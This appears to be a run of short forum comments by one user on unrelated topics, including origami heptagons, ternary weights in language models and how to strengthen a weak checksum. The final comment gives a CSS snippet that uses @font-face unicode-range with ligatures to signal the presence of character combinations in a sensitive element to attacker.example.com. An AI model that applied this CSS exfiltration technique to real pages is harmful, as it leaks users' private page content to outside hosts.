jo-han

A Lesson In Crime - that's Tokyo Police Club :)

<https://en.wikipedia.org/wiki/File:Packing_11_unit_squares_i...> from https://en.wikipedia.org/wiki/Square_packing

It's called fee[dB]ack now, at https://got-feedback.org/

The project got renamed after a DMCA takedown.

This paper discusses constructing heptagons, with some history and the maths.

http://origametry.net/papers/heptagon.pdf

It shows both a single sheet and a modular version.

Do -1, 0 and 1 all occur with the same frequency in typical large language models or would there be a benefit in encoding 0 with 0 and -1 and 1 with respectively 10 and 11? (or something even more complex)

Edit: probably not when easy retrieval is needed.

pictures of notes (not handwritten though) are shown in: https://twitter.com/trtworld/status/927528929279307776

The checksum algorithm they used will only produce 73 different checksums (00000000-99999999: 0-72) - and all of them even. There is space for 9999 different values.

Tips to improve: f(x) = ( x * secret) mod 1000

- mod 10000 instead of mod 1000 (as mentioned in the article)

- make sure the 'x' varies between 0-9999 (e.g. by splitting the number in half and adding the parts 03001909 > 0300+1909 = 2209)

- make sure the 'secret' is larger than 10000 and non-divisible by factors of 10000 (2 and 5) (e.g.: 54321)

Pretty sure it wouldn't be so easy to hack then.

Khaled, you're right - it doesn't work. The characters are not substituted. I made a quick proof of concept, but it triggered for the wrong reasons. Bummer.

Nice, and by using 'font-variant-ligatures: common-ligatures;' you can actually try to harvest character combinations as well. For example:

  @font-face {
    font-family: poc;
    src: url(http://attacker.example.com/?ff); /* ff */
    unicode-range: U+FB00;
  }

  #sensitive-information {
    font-family: poc;
    font-variant-ligatures: common-ligatures; 
  }

(edit: improved formatting/explanation)